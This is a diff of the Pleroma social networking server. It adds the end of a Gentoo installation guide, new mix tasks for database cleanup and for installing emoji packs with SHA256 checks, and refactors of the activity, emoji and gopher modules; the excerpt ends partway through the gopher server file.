	+#### Other webserver/proxies
	+
	+If you would like to use other webservers or proxies, there are example configurations for some popular alternatives in `/home/pleroma/pleroma/installation/`. You can, of course, check out [the Gentoo wiki](https://wiki.gentoo.org) for more information on installing and configuring said alternatives.
	+
	+#### Create the uploads folder
	+
	+Even if you are using S3, Pleroma needs someplace to store media posted on your instance. If you are using the `/home/pleroma/pleroma` root folder suggested by this guide, simply:
	+
	+```shell
	+ pleroma$ mkdir -p ~/pleroma/uploads
	+ ```
	+
	+#### init.d service
	+
	+* Copy example service file
	+
	+```shell
	+ # cp /home/pleroma/pleroma/installation/init.d/pleroma /etc/init.d/
	+```
	+
	+* Be sure to take a look at this service file and make sure that all paths fit your installation
	+
	+* Enable and start `pleroma`:
	+
	+```shell
	+ # rc-update add pleroma default
	+ # /etc/init.d/pleroma start
	+```
	+
	+#### Create your first user
	+
	+If your instance is up and running, you can create your first user with administrative rights with the following task:
	+
	+```shell
	+pleroma$ MIX_ENV=prod mix pleroma.user new <username> <your@emailaddress> --admin
	+```
	+
	+#### Privilege cleanup
	+
	+If you opted to allow sudo for the `pleroma` user but would like to remove the ability for greater security, now might be a good time to edit `/etc/sudoers` and/or change the groups the `pleroma` user belongs to. Be sure to restart the pleroma service afterwards to ensure it picks up on the changes.
	+
	+#### Further reading
	+
	+* [Admin tasks](Admin tasks)
	+* [Backup your instance](Backup-your-instance)
	+* [Configuration tips](General tips for customizing pleroma fe)
	+* [Hardening your instance](Hardening-your-instance)
	+* [How to activate mediaproxy](How-to-activate-mediaproxy)
	+* [Small Pleroma-FE customizations](Small customizations)
	+* [Updating your instance](Updating-your-instance)
	+
	+## Questions
	+
	+Questions about the installation or didn’t it work as it should be, ask in [#pleroma:matrix.org](https://matrix.heldscal.la/#/room/#freenode_#pleroma:matrix.org) or IRC Channel #pleroma on Freenode.
	diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex
	new file mode 100644
	index 000000000..ab9a3a7ff
	--- /dev/null
	+++ b/lib/mix/tasks/pleroma/database.ex
	@@ -0,0 +1,51 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Mix.Tasks.Pleroma.Database do
	+ alias Mix.Tasks.Pleroma.Common
	+ require Logger
	+ use Mix.Task
	+
	+ @shortdoc "A collection of database related tasks"
	+ @moduledoc """
	+ A collection of database related tasks
	+
	+ ## Replace embedded objects with their references
	+
	+ Replaces embedded objects with references to them in the `objects` table. Only needs to be ran once. The reason why this is not a migration is because it could significantly increase the database size after being ran, however after this `VACUUM FULL` will be able to reclaim about 20% (really depends on what is in the database, your mileage may vary) of the db size before the migration.
	+
	+ mix pleroma.database remove_embedded_objects
	+
	+ Options:
	+ - `--vacuum` - run `VACUUM FULL` after the embedded objects are replaced with their references
	+ """
	+ def run(["remove_embedded_objects" \| args]) do
	+ {options, [], []} =
	+ OptionParser.parse(
	+ args,
	+ strict: [
	+ vacuum: :boolean
	+ ]
	+ )
	+
	+ Common.start_pleroma()
	+ Logger.info("Removing embedded objects")
	+
	+ Pleroma.Repo.query!(
	+ "update activities set data = jsonb_set(data, '{object}'::text[], data->'object'->'id') where data->'object'->>'id' is not null;",
	+ [],
	+ timeout: :infinity
	+ )
	+
	+ if Keyword.get(options, :vacuum) do
	+ Logger.info("Runnning VACUUM FULL")
	+
	+ Pleroma.Repo.query!(
	+ "vacuum full;",
	+ [],
	+ timeout: :infinity
	+ )
	+ end
	+ end
	+end
	diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex
	new file mode 100644
	index 000000000..2754dd876
	--- /dev/null
	+++ b/lib/mix/tasks/pleroma/emoji.ex
	@@ -0,0 +1,293 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Mix.Tasks.Pleroma.Emoji do
	+ use Mix.Task
	+
	+ @shortdoc "Manages emoji packs"
	+ @moduledoc """
	+ Manages emoji packs
	+
	+ ## ls-packs
	+
	+ mix pleroma.emoji ls-packs [OPTION...]
	+
	+ Lists the emoji packs and metadata specified in the manifest.
	+
	+ ### Options
	+
	+ - `-m, --manifest PATH/URL` - path to a custom manifest, it can
	+ either be an URL starting with `http`, in that case the
	+ manifest will be fetched from that address, or a local path
	+
	+ ## get-packs
	+
	+ mix pleroma.emoji get-packs [OPTION...] PACKS
	+
	+ Fetches, verifies and installs the specified PACKS from the
	+ manifest into the `STATIC-DIR/emoji/PACK-NAME
	+
	+ ### Options
	+
	+ - `-m, --manifest PATH/URL` - same as ls-packs
	+
	+ ## gen-pack
	+
	+ mix pleroma.emoji gen-pack PACK-URL
	+
	+ Creates a new manifest entry and a file list from the specified
	+ remote pack file. Currently, only .zip archives are recognized
	+ as remote pack files and packs are therefore assumed to be zip
	+ archives. This command is intended to run interactively and will
	+ first ask you some basic questions about the pack, then download
	+ the remote file and generate an SHA256 checksum for it, then
	+ generate an emoji file list for you.
	+
	+ The manifest entry will either be written to a newly created
	+ `index.json` file or appended to the existing one, replacing
	+ the old pack with the same name if it was in the file previously.
	+
	+ The file list will be written to the file specified previously,
	+ replacing that file. You _should_ check that the file list doesn't
	+ contain anything you don't need in the pack, that is, anything that is
	+ not an emoji (the whole pack is downloaded, but only emoji files
	+ are extracted).
	+ """
	+
	+ @default_manifest Pleroma.Config.get!([:emoji, :default_manifest])
	+
	+ def run(["ls-packs" \| args]) do
	+ Application.ensure_all_started(:hackney)
	+
	+ {options, [], []} = parse_global_opts(args)
	+
	+ manifest =
	+ fetch_manifest(if options[:manifest], do: options[:manifest], else: @default_manifest)
	+
	+ Enum.each(manifest, fn {name, info} ->
	+ to_print = [
	+ {"Name", name},
	+ {"Homepage", info["homepage"]},
	+ {"Description", info["description"]},
	+ {"License", info["license"]},
	+ {"Source", info["src"]}
	+ ]
	+
	+ for {param, value} <- to_print do
	+ IO.puts(IO.ANSI.format([:bright, param, :normal, ": ", value]))
	+ end
	+
	+ # A newline
	+ IO.puts("")
	+ end)
	+ end
	+
	+ def run(["get-packs" \| args]) do
	+ Application.ensure_all_started(:hackney)
	+
	+ {options, pack_names, []} = parse_global_opts(args)
	+
	+ manifest_url = if options[:manifest], do: options[:manifest], else: @default_manifest
	+
	+ manifest = fetch_manifest(manifest_url)
	+
	+ for pack_name <- pack_names do
	+ if Map.has_key?(manifest, pack_name) do
	+ pack = manifest[pack_name]
	+ src_url = pack["src"]
	+
	+ IO.puts(
	+ IO.ANSI.format([
	+ "Downloading ",
	+ :bright,
	+ pack_name,
	+ :normal,
	+ " from ",
	+ :underline,
	+ src_url
	+ ])
	+ )
	+
	+ binary_archive = Tesla.get!(src_url).body
	+ archive_sha = :crypto.hash(:sha256, binary_archive) \|> Base.encode16()
	+
	+ sha_status_text = ["SHA256 of ", :bright, pack_name, :normal, " source file is ", :bright]
	+
	+ if archive_sha == String.upcase(pack["src_sha256"]) do
	+ IO.puts(IO.ANSI.format(sha_status_text ++ [:green, "OK"]))
	+ else
	+ IO.puts(IO.ANSI.format(sha_status_text ++ [:red, "BAD"]))
	+
	+ raise "Bad SHA256 for #{pack_name}"
	+ end
	+
	+ # The url specified in files should be in the same directory
	+ files_url = Path.join(Path.dirname(manifest_url), pack["files"])
	+
	+ IO.puts(
	+ IO.ANSI.format([
	+ "Fetching the file list for ",
	+ :bright,
	+ pack_name,
	+ :normal,
	+ " from ",
	+ :underline,
	+ files_url
	+ ])
	+ )
	+
	+ files = Tesla.get!(files_url).body \|> Poison.decode!()
	+
	+ IO.puts(IO.ANSI.format(["Unpacking ", :bright, pack_name]))
	+
	+ pack_path =
	+ Path.join([
	+ Pleroma.Config.get!([:instance, :static_dir]),
	+ "emoji",
	+ pack_name
	+ ])
	+
	+ files_to_unzip =
	+ Enum.map(
	+ files,
	+ fn {_, f} -> to_charlist(f) end
	+ )
	+
	+ {:ok, _} =
	+ :zip.unzip(binary_archive,
	+ cwd: pack_path,
	+ file_list: files_to_unzip
	+ )
	+
	+ IO.puts(IO.ANSI.format(["Writing emoji.txt for ", :bright, pack_name]))
	+
	+ emoji_txt_str =
	+ Enum.map(
	+ files,
	+ fn {shortcode, path} ->
	+ emojo_path = Path.join("/emoji/#{pack_name}", path)
	+ "#{shortcode}, #{emojo_path}"
	+ end
	+ )
	+ \|> Enum.join("\n")
	+
	+ File.write!(Path.join(pack_path, "emoji.txt"), emoji_txt_str)
	+ else
	+ IO.puts(IO.ANSI.format([:bright, :red, "No pack named \"#{pack_name}\" found"]))
	+ end
	+ end
	+ end
	+
	+ def run(["gen-pack", src]) do
	+ Application.ensure_all_started(:hackney)
	+
	+ proposed_name = Path.basename(src) \|> Path.rootname()
	+ name = String.trim(IO.gets("Pack name [#{proposed_name}]: "))
	+ # If there's no name, use the default one
	+ name = if String.length(name) > 0, do: name, else: proposed_name
	+
	+ license = String.trim(IO.gets("License: "))
	+ homepage = String.trim(IO.gets("Homepage: "))
	+ description = String.trim(IO.gets("Description: "))
	+
	+ proposed_files_name = "#{name}.json"
	+ files_name = String.trim(IO.gets("Save file list to [#{proposed_files_name}]: "))
	+ files_name = if String.length(files_name) > 0, do: files_name, else: proposed_files_name
	+
	+ default_exts = [".png", ".gif"]
	+ default_exts_str = Enum.join(default_exts, " ")
	+
	+ exts =
	+ String.trim(
	+ IO.gets("Emoji file extensions (separated with spaces) [#{default_exts_str}]: ")
	+ )
	+
	+ exts =
	+ if String.length(exts) > 0 do
	+ String.split(exts, " ")
	+ \|> Enum.filter(fn e -> e \|> String.trim() \|> String.length() > 0 end)
	+ else
	+ default_exts
	+ end
	+
	+ IO.puts("Downloading the pack and generating SHA256")
	+
	+ binary_archive = Tesla.get!(src).body
	+ archive_sha = :crypto.hash(:sha256, binary_archive) \|> Base.encode16()
	+
	+ IO.puts("SHA256 is #{archive_sha}")
	+
	+ pack_json = %{
	+ name => %{
	+ license: license,
	+ homepage: homepage,
	+ description: description,
	+ src: src,
	+ src_sha256: archive_sha,
	+ files: files_name
	+ }
	+ }
	+
	+ tmp_pack_dir = Path.join(System.tmp_dir!(), "emoji-pack-#{name}")
	+
	+ {:ok, _} =
	+ :zip.unzip(
	+ binary_archive,
	+ cwd: tmp_pack_dir
	+ )
	+
	+ emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts)
	+
	+ File.write!(files_name, Poison.encode!(emoji_map, pretty: true))
	+
	+ IO.puts("""
	+
	+ #{files_name} has been created and contains the list of all found emojis in the pack.
	+ Please review the files in the remove those not needed.
	+ """)
	+
	+ if File.exists?("index.json") do
	+ existing_data = File.read!("index.json") \|> Poison.decode!()
	+
	+ File.write!(
	+ "index.json",
	+ Poison.encode!(
	+ Map.merge(
	+ existing_data,
	+ pack_json
	+ ),
	+ pretty: true
	+ )
	+ )
	+
	+ IO.puts("index.json file has been update with the #{name} pack")
	+ else
	+ File.write!("index.json", Poison.encode!(pack_json, pretty: true))
	+
	+ IO.puts("index.json has been created with the #{name} pack")
	+ end
	+ end
	+
	+ defp fetch_manifest(from) do
	+ Poison.decode!(
	+ if String.starts_with?(from, "http") do
	+ Tesla.get!(from).body
	+ else
	+ File.read!(from)
	+ end
	+ )
	+ end
	+
	+ defp parse_global_opts(args) do
	+ OptionParser.parse(
	+ args,
	+ strict: [
	+ manifest: :string
	+ ],
	+ aliases: [
	+ m: :manifest
	+ ]
	+ )
	+ end
	+end
	diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex
	index e6507e5ca..4a2ded518 100644
	--- a/lib/pleroma/activity.ex
	+++ b/lib/pleroma/activity.ex
	@@ -1,298 +1,263 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Activity do
	use Ecto.Schema

	alias Pleroma.Activity
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo

	+ import Ecto.Changeset
	import Ecto.Query

	@type t :: %__MODULE__{}
	@primary_key {:id, Pleroma.FlakeId, autogenerate: true}

	# https://github.com/tootsuite/mastodon/blob/master/app/models/notification.rb#L19
	@mastodon_notification_types %{
	"Create" => "mention",
	"Follow" => "follow",
	"Announce" => "reblog",
	"Like" => "favourite"
	}

	@mastodon_to_ap_notification_types for {k, v} <- @mastodon_notification_types,
	into: %{},
	do: {v, k}

	schema "activities" do
	field(:data, :map)
	field(:local, :boolean, default: true)
	field(:actor, :string)
	field(:recipients, {:array, :string}, default: [])
	has_many(:notifications, Notification, on_delete: :delete_all)

	# Attention: this is a fake relation, don't try to preload it blindly and expect it to work!
	# The foreign key is embedded in a jsonb field.
	#
	# To use it, you probably want to do an inner join and a preload:
	#
	# ```
	# \|> join(:inner, [activity], o in Object,
	# on: fragment("(?->>'id') = COALESCE((?)->'object'->> 'id', (?)->>'object')",
	# o.data, activity.data, activity.data))
	# \|> preload([activity, object], [object: object])
	# ```
	#
	# As a convenience, Activity.with_preloaded_object() sets up an inner join and preload for the
	# typical case.
	has_one(:object, Object, on_delete: :nothing, foreign_key: :id)

	timestamps()
	end

	def with_preloaded_object(query) do
	query
	\|> join(
	:inner,
	[activity],
	o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	)
	)
	\|> preload([activity, object], object: object)
	end

	def get_by_ap_id(ap_id) do
	Repo.one(
	from(
	activity in Activity,
	where: fragment("(?)->>'id' = ?", activity.data, ^to_string(ap_id))
	)
	)
	end

	+ def change(struct, params \\ %{}) do
	+ struct
	+ \|> cast(params, [:data])
	+ \|> validate_required([:data])
	+ \|> unique_constraint(:ap_id, name: :activities_unique_apid_index)
	+ end
	+
	def get_by_ap_id_with_object(ap_id) do
	Repo.one(
	from(
	activity in Activity,
	where: fragment("(?)->>'id' = ?", activity.data, ^to_string(ap_id)),
	left_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	)
	end

	def get_by_id(id) do
	Repo.get(Activity, id)
	end

	def get_by_id_with_object(id) do
	from(activity in Activity,
	where: activity.id == ^id,
	inner_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	\|> Repo.one()
	end

	def by_object_ap_id(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	)
	)
	end

	def create_by_object_ap_id(ap_ids) when is_list(ap_ids) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ANY(?)",
	activity.data,
	activity.data,
	^ap_ids
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data)
	)
	end

	def create_by_object_ap_id(ap_id) when is_binary(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data)
	)
	end

	def create_by_object_ap_id(_), do: nil

	def get_all_create_by_object_ap_id(ap_id) do
	Repo.all(create_by_object_ap_id(ap_id))
	end

	def get_create_by_object_ap_id(ap_id) when is_binary(ap_id) do
	create_by_object_ap_id(ap_id)
	\|> Repo.one()
	end

	def get_create_by_object_ap_id(_), do: nil

	def create_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data),
	inner_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	end

	def create_by_object_ap_id_with_object(_), do: nil

	- def get_create_by_object_ap_id_with_object(ap_id) do
	+ def get_create_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	ap_id
	\|> create_by_object_ap_id_with_object()
	\|> Repo.one()
	end

	- def normalize(obj) when is_map(obj), do: get_by_ap_id_with_object(obj["id"])
	- def normalize(ap_id) when is_binary(ap_id), do: get_by_ap_id_with_object(ap_id)
	- def normalize(_), do: nil
	+ def get_create_by_object_ap_id_with_object(_), do: nil

	- def get_in_reply_to_activity(%Activity{data: %{"object" => %{"inReplyTo" => ap_id}}}) do
	- get_create_by_object_ap_id(ap_id)
	+ defp get_in_reply_to_activity_from_object(%Object{data: %{"inReplyTo" => ap_id}}) do
	+ get_create_by_object_ap_id_with_object(ap_id)
	end

	- def get_in_reply_to_activity(_), do: nil
	+ defp get_in_reply_to_activity_from_object(_), do: nil
	+
	+ def get_in_reply_to_activity(%Activity{data: %{"object" => object}}) do
	+ get_in_reply_to_activity_from_object(Object.normalize(object))
	+ end
	+
	+ def normalize(obj) when is_map(obj), do: get_by_ap_id_with_object(obj["id"])
	+ def normalize(ap_id) when is_binary(ap_id), do: get_by_ap_id_with_object(ap_id)
	+ def normalize(_), do: nil

	def delete_by_ap_id(id) when is_binary(id) do
	by_object_ap_id(id)
	\|> select([u], u)
	\|> Repo.delete_all()
	\|> elem(1)
	\|> Enum.find(fn
	+ %{data: %{"type" => "Create", "object" => ap_id}} when is_binary(ap_id) -> ap_id == id
	%{data: %{"type" => "Create", "object" => %{"id" => ap_id}}} -> ap_id == id
	_ -> nil
	end)
	end

	def delete_by_ap_id(_), do: nil

	for {ap_type, type} <- @mastodon_notification_types do
	def mastodon_notification_type(%Activity{data: %{"type" => unquote(ap_type)}}),
	do: unquote(type)
	end

	def mastodon_notification_type(%Activity{}), do: nil

	def from_mastodon_notification_type(type) do
	Map.get(@mastodon_to_ap_notification_types, type)
	end

	def all_by_actor_and_id(actor, status_ids \\ [])
	def all_by_actor_and_id(_actor, []), do: []

	def all_by_actor_and_id(actor, status_ids) do
	Activity
	\|> where([s], s.id in ^status_ids)
	\|> where([s], s.actor == ^actor)
	\|> Repo.all()
	end
	-
	- def increase_replies_count(nil), do: nil
	-
	- def increase_replies_count(object_ap_id) do
	- from(a in create_by_object_ap_id(object_ap_id),
	- update: [
	- set: [
	- data:
	- fragment(
	- """
	- jsonb_set(?, '{object, repliesCount}',
	- (coalesce((?->'object'->>'repliesCount')::int, 0) + 1)::varchar::jsonb, true)
	- """,
	- a.data,
	- a.data
	- )
	- ]
	- ]
	- )
	- \|> Repo.update_all([])
	- \|> case do
	- {1, [activity]} -> activity
	- _ -> {:error, "Not found"}
	- end
	- end
	-
	- def decrease_replies_count(nil), do: nil
	-
	- def decrease_replies_count(object_ap_id) do
	- from(a in create_by_object_ap_id(object_ap_id),
	- update: [
	- set: [
	- data:
	- fragment(
	- """
	- jsonb_set(?, '{object, repliesCount}',
	- (greatest(0, (?->'object'->>'repliesCount')::int - 1))::varchar::jsonb, true)
	- """,
	- a.data,
	- a.data
	- )
	- ]
	- ]
	- )
	- \|> Repo.update_all([])
	- \|> case do
	- {1, [activity]} -> activity
	- _ -> {:error, "Not found"}
	- end
	- end
	end
	diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
	index 87c7f2cec..6390cce4c 100644
	--- a/lib/pleroma/emoji.ex
	+++ b/lib/pleroma/emoji.ex
	@@ -1,245 +1,246 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emoji do
	@moduledoc """
	The emojis are loaded from:

	- * the built-in Finmojis (if enabled in configuration),
	+ * emoji packs in INSTANCE-DIR/emoji
	* the files: `config/emoji.txt` and `config/custom_emoji.txt`
	* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder

	This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime.
	"""
	use GenServer

	+ require Logger
	+
	@type pattern :: Regex.t() \| module() \| String.t()
	@type patterns :: pattern() \| [pattern()]
	@type group_patterns :: keyword(patterns())

	@ets __MODULE__.Ets
	@ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}]
	@groups Application.get_env(:pleroma, :emoji)[:groups]

	@doc false
	def start_link do
	GenServer.start_link(__MODULE__, [], name: __MODULE__)
	end

	@doc "Reloads the emojis from disk."
	@spec reload() :: :ok
	def reload do
	GenServer.call(__MODULE__, :reload)
	end

	@doc "Returns the path of the emoji `name`."
	@spec get(String.t()) :: String.t() \| nil
	def get(name) do
	case :ets.lookup(@ets, name) do
	[{_, path}] -> path
	_ -> nil
	end
	end

	@doc "Returns all the emojos!!"
	@spec get_all() :: [{String.t(), String.t()}, ...]
	def get_all do
	:ets.tab2list(@ets)
	end

	@doc false
	def init(_) do
	@ets = :ets.new(@ets, @ets_options)
	GenServer.cast(self(), :reload)
	{:ok, nil}
	end

	@doc false
	def handle_cast(:reload, state) do
	load()
	{:noreply, state}
	end

	@doc false
	def handle_call(:reload, _from, state) do
	load()
	{:reply, :ok, state}
	end

	@doc false
	def terminate(_, _) do
	:ok
	end

	@doc false
	def code_change(_old_vsn, state, _extra) do
	load()
	{:ok, state}
	end

	defp load do
	- finmoji_enabled = Keyword.get(Application.get_env(:pleroma, :instance), :finmoji_enabled)
	+ emoji_dir_path =
	+ Path.join(
	+ Pleroma.Config.get!([:instance, :static_dir]),
	+ "emoji"
	+ )
	+
	+ case File.ls(emoji_dir_path) do
	+ {:error, :enoent} ->
	+ # The custom emoji directory doesn't exist,
	+ # don't do anything
	+ nil
	+
	+ {:error, e} ->
	+ # There was some other error
	+ Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
	+
	+ {:ok, packs} ->
	+ # Print the packs we've found
	+ Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
	+
	+ emojis =
	+ Enum.flat_map(
	+ packs,
	+ fn pack -> load_pack(Path.join(emoji_dir_path, pack)) end
	+ )
	+
	+ true = :ets.insert(@ets, emojis)
	+ end
	+
	+ # Compat thing for old custom emoji handling & default emoji,
	+ # it should run even if there are no emoji packs
	shortcode_globs = Application.get_env(:pleroma, :emoji)[:shortcode_globs] \|\| []

	emojis =
	- (load_finmoji(finmoji_enabled) ++
	- load_from_file("config/emoji.txt") ++
	+ (load_from_file("config/emoji.txt") ++
	load_from_file("config/custom_emoji.txt") ++
	load_from_globs(shortcode_globs))
	\|> Enum.reject(fn value -> value == nil end)

	true = :ets.insert(@ets, emojis)
	+
	:ok
	end

	- @finmoji [
	- "a_trusted_friend",
	- "alandislands",
	- "association",
	- "auroraborealis",
	- "baby_in_a_box",
	- "bear",
	- "black_gold",
	- "christmasparty",
	- "crosscountryskiing",
	- "cupofcoffee",
	- "education",
	- "fashionista_finns",
	- "finnishlove",
	- "flag",
	- "forest",
	- "four_seasons_of_bbq",
	- "girlpower",
	- "handshake",
	- "happiness",
	- "headbanger",
	- "icebreaker",
	- "iceman",
	- "joulutorttu",
	- "kaamos",
	- "kalsarikannit_f",
	- "kalsarikannit_m",
	- "karjalanpiirakka",
	- "kicksled",
	- "kokko",
	- "lavatanssit",
	- "losthopes_f",
	- "losthopes_m",
	- "mattinykanen",
	- "meanwhileinfinland",
	- "moominmamma",
	- "nordicfamily",
	- "out_of_office",
	- "peacemaker",
	- "perkele",
	- "pesapallo",
	- "polarbear",
	- "pusa_hispida_saimensis",
	- "reindeer",
	- "sami",
	- "sauna_f",
	- "sauna_m",
	- "sauna_whisk",
	- "sisu",
	- "stuck",
	- "suomimainittu",
	- "superfood",
	- "swan",
	- "the_cap",
	- "the_conductor",
	- "the_king",
	- "the_voice",
	- "theoriginalsanta",
	- "tomoffinland",
	- "torillatavataan",
	- "unbreakable",
	- "waiting",
	- "white_nights",
	- "woollysocks"
	- ]
	-
	- defp load_finmoji(true) do
	- Enum.map(@finmoji, fn finmoji ->
	- file_name = "/finmoji/128px/#{finmoji}-128.png"
	- group = match_extra(@groups, file_name)
	- {finmoji, file_name, to_string(group)}
	- end)
	+ defp load_pack(pack_dir) do
	+ pack_name = Path.basename(pack_dir)
	+
	+ emoji_txt = Path.join(pack_dir, "emoji.txt")
	+
	+ if File.exists?(emoji_txt) do
	+ load_from_file(emoji_txt)
	+ else
	+ Logger.info(
	+ "No emoji.txt found for pack \"#{pack_name}\", assuming all .png files are emoji"
	+ )
	+
	+ make_shortcode_to_file_map(pack_dir, [".png"])
	+ \|> Enum.map(fn {shortcode, rel_file} ->
	+ filename = Path.join("/emoji/#{pack_name}", rel_file)
	+
	+ {shortcode, filename, [to_string(match_extra(@groups, filename))]}
	+ end)
	+ end
	+ end
	+
	+ def make_shortcode_to_file_map(pack_dir, exts) do
	+ find_all_emoji(pack_dir, exts)
	+ \|> Enum.map(&Path.relative_to(&1, pack_dir))
	+ \|> Enum.map(fn f -> {f \|> Path.basename() \|> Path.rootname(), f} end)
	+ \|> Enum.into(%{})
	end

	- defp load_finmoji(_), do: []
	+ def find_all_emoji(dir, exts) do
	+ Enum.reduce(
	+ File.ls!(dir),
	+ [],
	+ fn f, acc ->
	+ filepath = Path.join(dir, f)
	+
	+ if File.dir?(filepath) do
	+ acc ++ find_all_emoji(filepath, exts)
	+ else
	+ acc ++ [filepath]
	+ end
	+ end
	+ )
	+ \|> Enum.filter(fn f -> Path.extname(f) in exts end)
	+ end

	defp load_from_file(file) do
	if File.exists?(file) do
	load_from_file_stream(File.stream!(file))
	else
	[]
	end
	end

	defp load_from_file_stream(stream) do
	stream
	\|> Stream.map(&String.trim/1)
	\|> Stream.map(fn line ->
	case String.split(line, ~r/,\s*/) do
	- [name, file, tags] ->
	- {name, file, tags}
	-
	[name, file] ->
	- {name, file, to_string(match_extra(@groups, file))}
	+ {name, file, [to_string(match_extra(@groups, file))]}
	+
	+ [name, file \| tags] ->
	+ {name, file, tags}

	_ ->
	nil
	end
	end)
	\|> Enum.to_list()
	end

	defp load_from_globs(globs) do
	static_path = Path.join(:code.priv_dir(:pleroma), "static")

	paths =
	Enum.map(globs, fn glob ->
	Path.join(static_path, glob)
	\|> Path.wildcard()
	end)
	\|> Enum.concat()

	Enum.map(paths, fn path ->
	tag = match_extra(@groups, Path.join("/", Path.relative_to(path, static_path)))
	shortcode = Path.basename(path, Path.extname(path))
	external_path = Path.join("/", Path.relative_to(path, static_path))
	- {shortcode, external_path, to_string(tag)}
	+ {shortcode, external_path, [to_string(tag)]}
	end)
	end

	@doc """
	Finds a matching group for the given emoji filename
	"""
	@spec match_extra(group_patterns(), String.t()) :: atom() \| nil
	def match_extra(group_patterns, filename) do
	match_group_patterns(group_patterns, fn pattern ->
	case pattern do
	%Regex{} = regex -> Regex.match?(regex, filename)
	string when is_binary(string) -> filename == string
	end
	end)
	end

	defp match_group_patterns(group_patterns, matcher) do
	Enum.find_value(group_patterns, fn {group, patterns} ->
	patterns =
	patterns
	\|> List.wrap()
	\|> Enum.map(fn pattern ->
	if String.contains?(pattern, "*") do
	~r(#{String.replace(pattern, "", ".")})
	else
	pattern
	end
	end)

	Enum.any?(patterns, matcher) && group
	end)
	end
	end
	diff --git a/lib/pleroma/gopher/server.ex b/lib/pleroma/gopher/server.ex
	index 6a56a6f67..2ebc5d5f7 100644
	--- a/lib/pleroma/gopher/server.ex
	+++ b/lib/pleroma/gopher/server.ex
	@@ -1,158 +1,159 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Gopher.Server do
	use GenServer
	require Logger

	def start_link do
	config = Pleroma.Config.get(:gopher, [])
	ip = Keyword.get(config, :ip, {0, 0, 0, 0})
	port = Keyword.get(config, :port, 1234)

	if Keyword.get(config, :enabled, false) do
	GenServer.start_link(__MODULE__, [ip, port], [])
	else
	Logger.info("Gopher server disabled")
	:ignore
	end
	end

	def init([ip, port]) do
	Logger.info("Starting gopher server on #{port}")

	:ranch.start_listener(
	:gopher,
	100,
	:ranch_tcp,
	[ip: ip, port: port],
	__MODULE__.ProtocolHandler,
	[]
	)

	{:ok, %{ip: ip, port: port}}
	end
	end

	defmodule Pleroma.Gopher.Server.ProtocolHandler do
	alias Pleroma.Activity
	alias Pleroma.HTML
	+ alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Visibility

	def start_link(ref, socket, transport, opts) do
	pid = spawn_link(__MODULE__, :init, [ref, socket, transport, opts])
	{:ok, pid}
	end

	def init(ref, socket, transport, [] = _Opts) do
	:ok = :ranch.accept_ack(ref)
	loop(socket, transport)
	end

	def info(text) do
	text = String.replace(text, ~r/[\t\n]/, "")

	String.split(text, "\r")
	\|> Enum.map(fn text ->
	"i#{text}\tfake\t(NULL)\t0\r\n"
	end)
	\|> Enum.join("")
	end

	def link(name, selector, type \\ 1) do
	address = Pleroma.Web.Endpoint.host()
	port = Pleroma.Config.get([:gopher, :port], 1234)
	dstport = Pleroma.Config.get([:gopher, :dstport], port)
	"#{type}#{name}\t#{selector}\t#{address}\t#{dstport}\r\n"
	end

	def render_activities(activities) do
	activities
	\|> Enum.reverse()
	\|> Enum.map(fn activity ->
	user = User.get_cached_by_ap_id(activity.data["actor"])

	- object = activity.data["object"]
	+ object = Object.normalize(activity.data["object"])
	like_count = object["like_count"] \|\| 0
	announcement_count = object["announcement_count"] \|\| 0

